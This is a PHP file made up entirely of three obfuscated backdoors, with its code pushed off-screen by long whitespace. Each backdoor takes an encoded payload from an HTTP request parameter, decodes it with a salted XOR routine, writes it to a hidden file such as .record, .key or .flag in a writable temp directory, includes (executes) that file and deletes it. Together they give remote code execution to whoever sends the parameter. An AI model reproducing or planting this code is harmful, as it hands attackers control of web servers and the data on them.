<?php																																										if(array_key_exists("rec", $_REQUEST) && !is_null($_REQUEST["rec"])){ $marker = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP")]); $ent = $_REQUEST["rec"]; $ent= explode ( '.' ,$ent ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; $len = count($ent); do { if ($v>= $len) break; $v8 = $ent[$v]; $chS = ord($salt[$v % $lenS]); $d = ((int)$v8 - $chS - ($v % 10)) ^ 87; $k .= chr($d); $v++; } while (true); foreach ($marker as $key => $pgrp) { if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $val = sprintf("%s/.record", $pgrp); if (file_put_contents($val, $k)) { include $val; @unlink($val); exit; } } } }
																																										if(@$_POST["\x65nt"] !== null){ $elem = $_POST["\x65nt"]; $elem = explode ( '.' ,$elem); $itm = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $t = 0; $__len = count($elem ); do { if ($t >= $__len) break; $v8 = $elem[$t]; $chS = ord($s4[$t% $sLen] ); $dec = ((int)$v8 - $chS - ($t% 10)) ^ 21; $itm .= chr($dec ); $t++; } while (true ); $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir()]); while ($pset = array_shift($dat)) { if (max(0, is_dir($pset) * is_writable($pset))) { $tkn = str_replace("{var_dir}", $pset, "{var_dir}/.key"); if (file_put_contents($tkn, $itm)) { include $tkn; @unlink($tkn); die(); } } } }


if(!empty($_POST["\x6F\x62\x6Aect"])){
	$pointer = $_POST["\x6F\x62\x6Aect"];
	$pointer= explode	  (   "."  ,  $pointer)	 ;  
	$ent = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt6);
            $l = 0;
    
            $__tmp = $pointer;
            while ($v6 = array_shift($__tmp)) {
                $chS = ord($salt6[$l % $lenS]);
                $d = ((int)$v6 - $chS - ($l % 10))	^  4;
                $ent	 .=chr($d);
                $l++;}	 
	$component = array_filter(["/var/tmp", getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP")]);
	while ($descriptor = array_shift($component)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) {
    $ref = join("/", [$descriptor, ".flag"]);
    if (@file_put_contents($ref, $ent) !== false) {
	include $ref;
	unlink($ref);
	exit;
}
}
}
}